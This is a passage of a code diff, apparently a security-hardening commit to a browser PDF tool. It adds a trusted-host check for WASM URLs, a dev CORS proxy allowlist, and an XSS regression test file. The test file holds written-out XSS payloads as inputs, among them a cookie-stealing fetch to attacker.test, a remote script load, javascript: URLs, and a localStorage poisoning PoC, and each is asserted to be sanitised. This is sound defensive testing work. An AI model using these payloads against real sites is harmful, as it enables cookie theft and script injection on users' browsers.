|
|||||||
cpdf: envOrDefault(import.meta.env.VITE_WASM_CPDF_URL, CDN_DEFAULTS.cpdf),
|
cpdf: envOrDefault(import.meta.env.VITE_WASM_CPDF_URL, CDN_DEFAULTS.cpdf),
|
||||||
};
|
};
|
||||||
|
|
||||||
|
function hostnameOf(url: string): string | null {
|
||||||
|
try {
|
||||||
|
return new URL(url).hostname;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function collectBuiltinTrustedHosts(): Set<string> {
|
||||||
|
const hosts = new Set<string>();
|
||||||
|
if (typeof location !== 'undefined' && location.hostname) {
|
||||||
|
hosts.add(location.hostname);
|
||||||
|
}
|
||||||
|
for (const url of Object.values(CDN_DEFAULTS)) {
|
||||||
|
const h = hostnameOf(url);
|
||||||
|
if (h) hosts.add(h);
|
||||||
|
}
|
||||||
|
for (const url of Object.values(ENV_DEFAULTS)) {
|
||||||
|
const h = hostnameOf(url);
|
||||||
|
if (h) hosts.add(h);
|
||||||
|
}
|
||||||
|
return hosts;
|
||||||
|
}
|
||||||
|
|
||||||
|
const BUILTIN_TRUSTED_HOSTS = collectBuiltinTrustedHosts();
|
||||||
|
|
||||||
class WasmProviderManager {
|
class WasmProviderManager {
|
||||||
private config: WasmProviderConfig;
|
private config: WasmProviderConfig;
|
||||||
private validationCache: Map<WasmPackage, boolean> = new Map();
|
private validationCache: Map<WasmPackage, boolean> = new Map();
|
||||||
|
private trustedHosts: Set<string> = new Set<string>(BUILTIN_TRUSTED_HOSTS);
|
||||||
|
|
||||||
constructor() {
|
constructor() {
|
||||||
this.config = this.loadConfig();
|
this.config = this.loadConfig();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private isTrustedUrl(url: string): boolean {
|
||||||
|
const host = hostnameOf(url);
|
||||||
|
return !!host && this.trustedHosts.has(host);
|
||||||
|
}
|
||||||
|
|
||||||
private loadConfig(): WasmProviderConfig {
|
private loadConfig(): WasmProviderConfig {
|
||||||
try {
|
try {
|
||||||
const stored = localStorage.getItem(STORAGE_KEY);
|
const stored = localStorage.getItem(STORAGE_KEY);
|
||||||
if (stored) {
|
if (!stored) return {};
|
||||||
return JSON.parse(stored);
|
const parsed = JSON.parse(stored) as WasmProviderConfig;
|
||||||
|
const safe: WasmProviderConfig = {};
|
||||||
|
let dropped = false;
|
||||||
|
for (const key of ['pymupdf', 'ghostscript', 'cpdf'] as WasmPackage[]) {
|
||||||
|
const url = parsed[key];
|
||||||
|
if (typeof url !== 'string') continue;
|
||||||
|
if (this.isTrustedUrl(url)) {
|
||||||
|
safe[key] = url;
|
||||||
|
} else {
|
||||||
|
dropped = true;
|
||||||
|
console.warn(
|
||||||
|
`[WasmProvider] Ignoring untrusted stored URL for ${key}: ${url}. ` +
|
||||||
|
'Reconfigure via Advanced Settings to re-enable.'
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
if (dropped) {
|
||||||
|
try {
|
||||||
|
localStorage.setItem(STORAGE_KEY, JSON.stringify(safe));
|
||||||
|
} catch (e) {
|
||||||
|
console.error(
|
||||||
|
'[WasmProvider] Failed to scrub untrusted config from localStorage:',
|
||||||
|
e
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return safe;
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
console.warn(
|
console.warn(
|
||||||
'[WasmProvider] Failed to load config from localStorage:',
|
'[WasmProvider] Failed to load config from localStorage:',
|
||||||
@@ -66,11 +123,23 @@ class WasmProviderManager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
getUrl(packageName: WasmPackage): string | undefined {
|
getUrl(packageName: WasmPackage): string | undefined {
|
||||||
return this.config[packageName] || this.getEnvDefault(packageName);
|
const stored = this.config[packageName];
|
||||||
|
if (stored) {
|
||||||
|
if (this.isTrustedUrl(stored)) return stored;
|
||||||
|
console.warn(
|
||||||
|
`[WasmProvider] Refusing to use untrusted URL for ${packageName}; falling back to env default.`
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return this.getEnvDefault(packageName);
|
||||||
}
|
}
|
||||||
|
|
||||||
setUrl(packageName: WasmPackage, url: string): void {
|
setUrl(packageName: WasmPackage, url: string): void {
|
||||||
const normalizedUrl = url.endsWith('/') ? url : `${url}/`;
|
const normalizedUrl = url.endsWith('/') ? url : `${url}/`;
|
||||||
|
const host = hostnameOf(normalizedUrl);
|
||||||
|
if (!host) {
|
||||||
|
throw new Error('Invalid URL');
|
||||||
|
}
|
||||||
|
this.trustedHosts.add(host);
|
||||||
this.config[packageName] = normalizedUrl;
|
this.config[packageName] = normalizedUrl;
|
||||||
this.validationCache.delete(packageName);
|
this.validationCache.delete(packageName);
|
||||||
this.saveConfig();
|
this.saveConfig();
|
||||||
@@ -219,6 +288,7 @@ class WasmProviderManager {
|
|||||||
clearAll(): void {
|
clearAll(): void {
|
||||||
this.config = {};
|
this.config = {};
|
||||||
this.validationCache.clear();
|
this.validationCache.clear();
|
||||||
|
this.trustedHosts = new Set<string>(BUILTIN_TRUSTED_HOSTS);
|
||||||
try {
|
try {
|
||||||
localStorage.removeItem(STORAGE_KEY);
|
localStorage.removeItem(STORAGE_KEY);
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
|||||||
@@ -375,7 +375,6 @@
|
|||||||
<div
|
<div
|
||||||
id="upload-area"
|
id="upload-area"
|
||||||
class="hidden border-2 border-dashed border-gray-600 rounded-lg p-6 sm:p-12 text-center max-w-full cursor-pointer"
|
class="hidden border-2 border-dashed border-gray-600 rounded-lg p-6 sm:p-12 text-center max-w-full cursor-pointer"
|
||||||
onclick="document.getElementById('pdf-file-input').click()"
|
|
||||||
>
|
>
|
||||||
<i
|
<i
|
||||||
data-lucide="upload-cloud"
|
data-lucide="upload-cloud"
|
||||||
@@ -401,10 +400,7 @@
|
|||||||
class="hidden"
|
class="hidden"
|
||||||
/>
|
/>
|
||||||
<button
|
<button
|
||||||
onclick="
|
id="pdf-file-input-select-btn"
|
||||||
event.stopPropagation();
|
|
||||||
document.getElementById('pdf-file-input').click();
|
|
||||||
"
|
|
||||||
class="bg-indigo-600 hover:bg-indigo-700 text-white px-4 sm:px-6 py-2 rounded text-sm sm:text-base"
|
class="bg-indigo-600 hover:bg-indigo-700 text-white px-4 sm:px-6 py-2 rounded text-sm sm:text-base"
|
||||||
data-i18n="multiTool.selectFiles"
|
data-i18n="multiTool.selectFiles"
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -218,9 +218,7 @@
|
|||||||
</h3>
|
</h3>
|
||||||
<p id="alert-message" class="text-gray-300 mb-6"></p>
|
<p id="alert-message" class="text-gray-300 mb-6"></p>
|
||||||
<button
|
<button
|
||||||
onclick="
|
id="alert-ok"
|
||||||
document.getElementById('alert-modal').classList.add('hidden')
|
|
||||||
"
|
|
||||||
class="w-full bg-indigo-600 hover:bg-indigo-700 text-white font-semibold py-2 px-4 rounded-lg transition-colors duration-200"
|
class="w-full bg-indigo-600 hover:bg-indigo-700 text-white font-semibold py-2 px-4 rounded-lg transition-colors duration-200"
|
||||||
>
|
>
|
||||||
OK
|
OK
|
||||||
|
|||||||
@@ -191,10 +191,10 @@
|
|||||||
<span class="text-xs text-gray-500">Recommended:</span>
|
<span class="text-xs text-gray-500">Recommended:</span>
|
||||||
<code
|
<code
|
||||||
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
|
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
|
||||||
>https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/</code
|
>https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/</code
|
||||||
>
|
>
|
||||||
<button
|
<button
|
||||||
data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/"
|
data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/"
|
||||||
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
|
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
|
||||||
title="Copy to clipboard"
|
title="Copy to clipboard"
|
||||||
>
|
>
|
||||||
@@ -238,10 +238,10 @@
|
|||||||
<span class="text-xs text-gray-500">Recommended:</span>
|
<span class="text-xs text-gray-500">Recommended:</span>
|
||||||
<code
|
<code
|
||||||
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
|
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
|
||||||
>https://cdn.jsdelivr.net/npm/coherentpdf/dist/</code
|
>https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/</code
|
||||||
>
|
>
|
||||||
<button
|
<button
|
||||||
data-copy="https://cdn.jsdelivr.net/npm/coherentpdf/dist/"
|
data-copy="https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/"
|
||||||
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
|
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
|
||||||
title="Copy to clipboard"
|
title="Copy to clipboard"
|
||||||
>
|
>
|
||||||
|
|||||||
365
src/tests/xss-replay.test.ts
Normal file
365
src/tests/xss-replay.test.ts
Normal file
@@ -0,0 +1,365 @@
|
|||||||
|
import { describe, it, expect, beforeEach, vi } from 'vitest';
|
||||||
|
import MarkdownIt from 'markdown-it';
|
||||||
|
import DOMPurify from 'dompurify';
|
||||||
|
import forge from 'node-forge';
|
||||||
|
import { escapeHtml, sanitizeEmailHtml } from '../js/utils/helpers';
|
||||||
|
import { validateSignature } from '../js/logic/validate-signature-pdf';
|
||||||
|
import type { ExtractedSignature } from '@/types';
|
||||||
|
|
||||||
|
function renderAsPreviewWould(markdown: string): string {
|
||||||
|
const md = new MarkdownIt({
|
||||||
|
html: true,
|
||||||
|
breaks: false,
|
||||||
|
linkify: true,
|
||||||
|
typographer: true,
|
||||||
|
});
|
||||||
|
const raw = md.render(markdown);
|
||||||
|
return DOMPurify.sanitize(raw, { ADD_ATTR: ['target'] });
|
||||||
|
}
|
||||||
|
|
||||||
|
function assertNoExecutableContent(html: string) {
|
||||||
|
const doc = document.implementation.createHTMLDocument('x');
|
||||||
|
const root = doc.createElement('div');
|
||||||
|
root.innerHTML = html;
|
||||||
|
doc.body.appendChild(root);
|
||||||
|
|
||||||
|
const all = root.querySelectorAll('*');
|
||||||
|
|
||||||
|
expect(
|
||||||
|
root.querySelector('script'),
|
||||||
|
`<script> survived:\n${html}`
|
||||||
|
).toBeNull();
|
||||||
|
|
||||||
|
for (const el of Array.from(all)) {
|
||||||
|
for (const attr of Array.from(el.attributes)) {
|
||||||
|
expect(
|
||||||
|
/^on/i.test(attr.name),
|
||||||
|
`Element <${el.tagName.toLowerCase()}> has event handler ${attr.name}="${attr.value}" from:\n${html}`
|
||||||
|
).toBe(false);
|
||||||
|
if (
|
||||||
|
['href', 'src', 'xlink:href', 'formaction', 'action'].includes(
|
||||||
|
attr.name.toLowerCase()
|
||||||
|
)
|
||||||
|
) {
|
||||||
|
expect(
|
||||||
|
/^\s*javascript:/i.test(attr.value),
|
||||||
|
`Element <${el.tagName.toLowerCase()}> has ${attr.name}="${attr.value}" from:\n${html}`
|
||||||
|
).toBe(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const iframes = root.querySelectorAll('iframe[srcdoc]');
|
||||||
|
expect(iframes.length, `<iframe srcdoc> survived:\n${html}`).toBe(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('XSS replay — Markdown-to-PDF preview path', () => {
|
||||||
|
it('neutralizes the exact payload from the security report', () => {
|
||||||
|
const payload = `# Quarterly Financial Report Q1 2026
|
||||||
|
|
||||||
|
## Executive Summary
|
||||||
|
|
||||||
|
Revenue growth exceeded expectations at 12.3% YoY.
|
||||||
|
|
||||||
|
<img src=x onerror="var s=document.createElement('script');s.src='http://127.0.0.1:9999/payload.js';document.head.appendChild(s)">
|
||||||
|
|
||||||
|
## Outlook
|
||||||
|
|
||||||
|
Management maintains FY2026 guidance.
|
||||||
|
`;
|
||||||
|
const html = renderAsPreviewWould(payload);
|
||||||
|
assertNoExecutableContent(html);
|
||||||
|
const doc = document.implementation.createHTMLDocument('x');
|
||||||
|
const root = doc.createElement('div');
|
||||||
|
root.innerHTML = html;
|
||||||
|
const img = root.querySelector('img');
|
||||||
|
expect(img).not.toBeNull();
|
||||||
|
expect(img?.getAttribute('onerror')).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('strips <script> tags from raw markdown', () => {
|
||||||
|
const html = renderAsPreviewWould(`<script>alert(1)</script>`);
|
||||||
|
assertNoExecutableContent(html);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('strips event-handler attributes from every HTML tag markdown-it passes through', () => {
|
||||||
|
const html = renderAsPreviewWould(`
|
||||||
|
<svg onload="alert(1)"><text>x</text></svg>
|
||||||
|
<details ontoggle="alert(1)" open><summary>x</summary></details>
|
||||||
|
<body onfocus="alert(1)">
|
||||||
|
<input autofocus onfocus="alert(1)">
|
||||||
|
<video autoplay onloadstart="alert(1)"><source src=x></video>
|
||||||
|
<iframe srcdoc="<script>alert(1)</script>"></iframe>
|
||||||
|
<form><button formaction="javascript:alert(1)">x</button></form>
|
||||||
|
`);
|
||||||
|
assertNoExecutableContent(html);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('blocks javascript: href on plain markdown links', () => {
|
||||||
|
const html = renderAsPreviewWould('[click me](javascript:alert(1))');
|
||||||
|
assertNoExecutableContent(html);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('blocks data: URLs in script contexts but preserves data: in images', () => {
|
||||||
|
const html = renderAsPreviewWould(
|
||||||
|
`\n<script src="data:text/javascript,alert(1)"></script>`
|
||||||
|
);
|
||||||
|
assertNoExecutableContent(html);
|
||||||
|
expect(html).toContain('src="data:image/png');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('defeats attribute-injection via quote-breakout in markdown link titles', () => {
|
||||||
|
const html = renderAsPreviewWould(
|
||||||
|
'[x](https://example.com "a\\" onmouseover=alert(1) x=\\"")'
|
||||||
|
);
|
||||||
|
assertNoExecutableContent(html);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('mermaid click directive with javascript: is stripped by SVG sanitizer', () => {
|
||||||
|
const evilSvg = `<svg xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<a href="javascript:alert('mermaid click')"><rect width="10" height="10"/></a>
|
||||||
|
<g onclick="alert(1)"><text>label</text></g>
|
||||||
|
<foreignObject><body><img src=x onerror="alert(1)"></body></foreignObject>
|
||||||
|
<script>alert(1)</script>
|
||||||
|
</svg>`;
|
||||||
|
const clean = DOMPurify.sanitize(evilSvg, {
|
||||||
|
USE_PROFILES: { svg: true, svgFilters: true },
|
||||||
|
});
|
||||||
|
assertNoExecutableContent(clean);
|
||||||
|
expect(clean).not.toMatch(/javascript:/i);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('XSS replay — filename sink', () => {
|
||||||
|
it('escapeHtml neutralizes an attacker-supplied .pdf filename before it reaches innerHTML', () => {
|
||||||
|
const evilName = `<img src=x onerror="fetch('https://attacker.test/steal?d=' + btoa(document.cookie))">.pdf`;
|
||||||
|
const rendered = `<p class="truncate font-medium text-white">${escapeHtml(evilName)}</p>`;
|
||||||
|
const host = document.createElement('div');
|
||||||
|
host.innerHTML = rendered;
|
||||||
|
expect(host.querySelector('img')).toBeNull();
|
||||||
|
expect(host.textContent).toContain(evilName);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('createElement + textContent neutralizes the same payload (deskew/form-filler path)', () => {
|
||||||
|
const evilName = `<img src=x onerror="alert(1)">.pdf`;
|
||||||
|
const host = document.createElement('div');
|
||||||
|
const span = document.createElement('span');
|
||||||
|
span.textContent = evilName;
|
||||||
|
host.appendChild(span);
|
||||||
|
expect(host.querySelector('img')).toBeNull();
|
||||||
|
expect(span.textContent).toBe(evilName);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('XSS replay — WASM provider localStorage poisoning', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
localStorage.clear();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('the exact PoC payload writes attacker URLs to localStorage — audit the key shape', () => {
|
||||||
|
const wasmPayload = {
|
||||||
|
pymupdf: 'https://attacker.test/wasm/pymupdf/',
|
||||||
|
ghostscript: 'https://attacker.test/wasm/gs/',
|
||||||
|
cpdf: 'https://attacker.test/wasm/cpdf/',
|
||||||
|
};
|
||||||
|
localStorage.setItem(
|
||||||
|
'bentopdf:wasm-providers',
|
||||||
|
JSON.stringify(wasmPayload)
|
||||||
|
);
|
||||||
|
|
||||||
|
const stored = localStorage.getItem('bentopdf:wasm-providers');
|
||||||
|
expect(stored).toContain('attacker.test');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('WasmProvider scrubs the untrusted URLs on load and falls back to env defaults', async () => {
|
||||||
|
localStorage.setItem(
|
||||||
|
'bentopdf:wasm-providers',
|
||||||
|
JSON.stringify({
|
||||||
|
pymupdf: 'https://attacker.test/wasm/pymupdf/',
|
||||||
|
ghostscript: 'https://attacker.test/wasm/gs/',
|
||||||
|
cpdf: 'https://attacker.test/wasm/cpdf/',
|
||||||
|
})
|
||||||
|
);
|
||||||
|
|
||||||
|
vi.resetModules();
|
||||||
|
const { WasmProvider } = await import('../js/utils/wasm-provider');
|
||||||
|
|
||||||
|
const got = WasmProvider.getUrl('pymupdf');
|
||||||
|
expect(got).not.toContain('attacker.test');
|
||||||
|
expect(got).toMatch(/cdn\.jsdelivr\.net|^https?:\/\/[^/]+\//);
|
||||||
|
|
||||||
|
const remaining = JSON.parse(
|
||||||
|
localStorage.getItem('bentopdf:wasm-providers') || '{}'
|
||||||
|
);
|
||||||
|
expect(remaining.pymupdf).toBeUndefined();
|
||||||
|
expect(remaining.ghostscript).toBeUndefined();
|
||||||
|
expect(remaining.cpdf).toBeUndefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('XSS replay — CDN URL version pinning', () => {
|
||||||
|
it('every WASM CDN default URL is pinned to an exact patch version', async () => {
|
||||||
|
const { WasmProvider } = await import('../js/utils/wasm-provider');
|
||||||
|
const urls = WasmProvider.getAllProviders();
|
||||||
|
for (const [pkg, url] of Object.entries(urls)) {
|
||||||
|
if (!url) continue;
|
||||||
|
if (!url.includes('cdn.jsdelivr.net')) continue;
|
||||||
|
expect(
|
||||||
|
/@\d+\.\d+\.\d+/.test(url),
|
||||||
|
`${pkg} URL "${url}" must be pinned to an exact version (e.g. pkg@1.2.3)`
|
||||||
|
).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('XSS replay — sanitizeEmailHtml (DOMPurify-backed)', () => {
|
||||||
|
it('strips <script> tags and event handlers that a regex sanitizer would miss', () => {
|
||||||
|
const mutationPayloads = [
|
||||||
|
'<scr<script>ipt>alert(1)</scr</script>ipt>',
|
||||||
|
'<img/src=x/onerror=alert(1)>',
|
||||||
|
'<svg><animate onbegin=alert(1) attributeName=x /></svg>',
|
||||||
|
'<math><mo><a href=javascript:alert(1)>x</a></mo></math>',
|
||||||
|
'<iframe src="javascript:alert(1)"></iframe>',
|
||||||
|
'<object data="javascript:alert(1)"></object>',
|
||||||
|
'<embed src="javascript:alert(1)">',
|
||||||
|
];
|
||||||
|
for (const raw of mutationPayloads) {
|
||||||
|
const out = sanitizeEmailHtml(raw);
|
||||||
|
const doc = document.implementation.createHTMLDocument('x');
|
||||||
|
const root = doc.createElement('div');
|
||||||
|
root.innerHTML = out;
|
||||||
|
expect(
|
||||||
|
root.querySelector('script, iframe, object, embed, link'),
|
||||||
|
`mutation payload survived: ${raw}\n-> ${out}`
|
||||||
|
).toBeNull();
|
||||||
|
for (const el of Array.from(root.querySelectorAll('*'))) {
|
||||||
|
for (const attr of Array.from(el.attributes)) {
|
||||||
|
expect(/^on/i.test(attr.name), `event handler survived: ${raw}`).toBe(
|
||||||
|
false
|
||||||
|
);
|
||||||
|
if (
|
||||||
|
['href', 'src'].includes(attr.name.toLowerCase()) &&
|
||||||
|
/^\s*javascript:/i.test(attr.value)
|
||||||
|
) {
|
||||||
|
throw new Error(`javascript: URL survived: ${raw}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('strips <style> and <link> to avoid @import / external stylesheet exfil', () => {
|
||||||
|
const out = sanitizeEmailHtml(
|
||||||
|
'<html><head><style>@import url(http://attacker/steal);</style><link rel=stylesheet href=http://attacker></head><body>hi</body></html>'
|
||||||
|
);
|
||||||
|
expect(out).not.toMatch(/@import/i);
|
||||||
|
expect(out.toLowerCase()).not.toContain('<style');
|
||||||
|
expect(out.toLowerCase()).not.toContain('<link');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('XSS replay — PDF signature cryptographic verification', () => {
|
||||||
|
function buildSignedPdf(digestAlgorithm: string = forge.pki.oids.sha256): {
|
||||||
|
pdfBytes: Uint8Array;
|
||||||
|
byteRange: number[];
|
||||||
|
p7Der: Uint8Array;
|
||||||
|
} {
|
||||||
|
const keys = forge.pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
|
||||||
|
const cert = forge.pki.createCertificate();
|
||||||
|
cert.publicKey = keys.publicKey;
|
||||||
|
cert.serialNumber = '01';
|
||||||
|
const attrs = [
|
||||||
|
{ name: 'commonName', value: 'Test Signer' },
|
||||||
|
{ name: 'countryName', value: 'US' },
|
||||||
|
];
|
||||||
|
cert.setSubject(attrs);
|
||||||
|
cert.setIssuer(attrs);
|
||||||
|
cert.validity.notBefore = new Date(Date.now() - 86400000);
|
||||||
|
cert.validity.notAfter = new Date(Date.now() + 365 * 86400000);
|
||||||
|
cert.sign(keys.privateKey, forge.md.sha256.create());
|
||||||
|
|
||||||
|
const contentBefore = '%PDF-1.4\nsigned content A\n';
|
||||||
|
const contentAfter = '\nsigned content B\n%%EOF\n';
|
||||||
|
const placeholderLen = 0;
|
||||||
|
|
||||||
|
const signedContent = new TextEncoder().encode(
|
||||||
|
contentBefore + contentAfter
|
||||||
|
);
|
||||||
|
|
||||||
|
const p7 = forge.pkcs7.createSignedData();
|
||||||
|
p7.content = forge.util.createBuffer(String.fromCharCode(...signedContent));
|
||||||
|
p7.addCertificate(cert);
|
||||||
|
p7.addSigner({
|
||||||
|
key: keys.privateKey,
|
||||||
|
certificate: cert,
|
||||||
|
digestAlgorithm,
|
||||||
|
authenticatedAttributes: [
|
||||||
|
{ type: forge.pki.oids.contentType, value: forge.pki.oids.data },
|
||||||
|
{ type: forge.pki.oids.messageDigest },
|
||||||
|
// @ts-expect-error runtime accepts Date, type defs say string
|
||||||
|
{ type: forge.pki.oids.signingTime, value: new Date() },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
p7.sign({ detached: true });
|
||||||
|
const p7Asn1 = p7.toAsn1();
|
||||||
|
const p7Der = forge.asn1.toDer(p7Asn1).getBytes();
|
||||||
|
const p7Bytes = new Uint8Array(p7Der.length);
|
||||||
|
for (let i = 0; i < p7Der.length; i++) p7Bytes[i] = p7Der.charCodeAt(i);
|
||||||
|
|
||||||
|
const beforeBytes = new TextEncoder().encode(contentBefore);
|
||||||
|
const afterBytes = new TextEncoder().encode(contentAfter);
|
||||||
|
const pdfBytes = new Uint8Array(
|
||||||
|
beforeBytes.length + afterBytes.length + placeholderLen
|
||||||
|
);
|
||||||
|
pdfBytes.set(beforeBytes, 0);
|
||||||
|
pdfBytes.set(afterBytes, beforeBytes.length);
|
||||||
|
const byteRange = [
|
||||||
|
0,
|
||||||
|
beforeBytes.length,
|
||||||
|
beforeBytes.length + placeholderLen,
|
||||||
|
afterBytes.length,
|
||||||
|
];
|
||||||
|
return { pdfBytes, byteRange, p7Der: p7Bytes };
|
||||||
|
}
|
||||||
|
|
||||||
|
it('flags untouched signed bytes as cryptoVerified=true', async () => {
|
||||||
|
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
|
||||||
|
const sig: ExtractedSignature = {
|
||||||
|
index: 0,
|
||||||
|
contents: p7Der,
|
||||||
|
byteRange,
|
||||||
|
};
|
||||||
|
const result = await validateSignature(sig, pdfBytes);
|
||||||
|
expect(result.cryptoVerified).toBe(true);
|
||||||
|
expect(result.errorMessage).toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('flips a byte inside the signed range → cryptoVerified=false and isValid=false', async () => {
|
||||||
|
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
|
||||||
|
const tampered = new Uint8Array(pdfBytes);
|
||||||
|
tampered[10] ^= 0xff;
|
||||||
|
const sig: ExtractedSignature = {
|
||||||
|
index: 0,
|
||||||
|
contents: p7Der,
|
||||||
|
byteRange,
|
||||||
|
};
|
||||||
|
const result = await validateSignature(sig, tampered);
|
||||||
|
expect(result.cryptoVerified).toBe(false);
|
||||||
|
expect(result.isValid).toBe(false);
|
||||||
|
expect(result.errorMessage).toMatch(
|
||||||
|
/hash does not match|does not verify|PDF was modified/i
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('refuses MD5 as the digest algorithm even when bytes match', async () => {
|
||||||
|
const { pdfBytes, byteRange, p7Der } = buildSignedPdf(forge.pki.oids.md5);
|
||||||
|
const sig: ExtractedSignature = {
|
||||||
|
index: 0,
|
||||||
|
contents: p7Der,
|
||||||
|
byteRange,
|
||||||
|
};
|
||||||
|
const result = await validateSignature(sig, pdfBytes);
|
||||||
|
expect(result.usesInsecureDigest).toBe(true);
|
||||||
|
expect(result.isValid).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -202,6 +202,47 @@ function createLanguageMiddleware(isDev: boolean): Connect.NextHandleFunction {
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function buildCorsProxyAllowedHosts(): Set<string> {
|
||||||
|
const hosts = new Set<string>([
|
||||||
|
'cdn.jsdelivr.net',
|
||||||
|
'fonts.googleapis.com',
|
||||||
|
'fonts.gstatic.com',
|
||||||
|
'bentopdf-cors-proxy.bentopdf.workers.dev',
|
||||||
|
]);
|
||||||
|
|
||||||
|
const envHostSources = [
|
||||||
|
process.env.VITE_CORS_PROXY_URL,
|
||||||
|
process.env.VITE_WASM_PYMUPDF_URL,
|
||||||
|
process.env.VITE_WASM_GS_URL,
|
||||||
|
process.env.VITE_WASM_CPDF_URL,
|
||||||
|
process.env.VITE_TESSERACT_WORKER_URL,
|
||||||
|
process.env.VITE_TESSERACT_CORE_URL,
|
||||||
|
process.env.VITE_TESSERACT_LANG_URL,
|
||||||
|
process.env.VITE_OCR_FONT_BASE_URL,
|
||||||
|
];
|
||||||
|
for (const raw of envHostSources) {
|
||||||
|
if (!raw) continue;
|
||||||
|
try {
|
||||||
|
hosts.add(new URL(raw).hostname);
|
||||||
|
} catch {
|
||||||
|
console.warn(
|
||||||
|
`[vite] Ignoring malformed VITE_* URL in dev CORS proxy allowlist: ${raw}`
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const extra = process.env.VITE_DEV_CORS_PROXY_EXTRA_HOSTS;
|
||||||
|
if (extra) {
|
||||||
|
for (const host of extra.split(',').map((s) => s.trim())) {
|
||||||
|
if (host) hosts.add(host);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return hosts;
|
||||||
|
}
|
||||||
|
|
||||||
|
const CORS_PROXY_ALLOWED_HOSTS = buildCorsProxyAllowedHosts();
|
||||||
|
|
||||||
function createCorsProxyMiddleware(): Connect.NextHandleFunction {
|
function createCorsProxyMiddleware(): Connect.NextHandleFunction {
|
||||||
return (
|
return (
|
||||||
req: IncomingMessage,
|
req: IncomingMessage,
|
||||||
@@ -227,6 +268,31 @@ function createCorsProxyMiddleware(): Connect.NextHandleFunction {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let targetHost: string;
|
||||||
|
let targetProtocol: string;
|
||||||
|
try {
|
||||||
|
const parsedTarget = new URL(targetUrl);
|
||||||
|
targetHost = parsedTarget.hostname;
|
||||||
|
targetProtocol = parsedTarget.protocol;
|
||||||
|
} catch {
|
||||||
|
res.statusCode = 400;
|
||||||
|
res.end('Invalid url parameter');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (targetProtocol !== 'https:' && targetProtocol !== 'http:') {
|
||||||
|
res.statusCode = 400;
|
||||||
|
res.end('Unsupported protocol');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CORS_PROXY_ALLOWED_HOSTS.has(targetHost)) {
|
||||||
|
console.warn(`[CORS Proxy] Blocked disallowed host: ${targetHost}`);
|
||||||
|
res.statusCode = 403;
|
||||||
|
res.end(`Host not allowed: ${targetHost}`);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
console.log(`[CORS Proxy] ${req.method} ${targetUrl}`);
|
console.log(`[CORS Proxy] ${req.method} ${targetUrl}`);
|
||||||
|
|
||||||
const bodyChunks: Buffer[] = [];
|
const bodyChunks: Buffer[] = [];
|
||||||
@@ -442,7 +508,7 @@ export default defineConfig(() => {
|
|||||||
exclude: ['coherentpdf', 'wasm-vips'],
|
exclude: ['coherentpdf', 'wasm-vips'],
|
||||||
},
|
},
|
||||||
server: {
|
server: {
|
||||||
host: true,
|
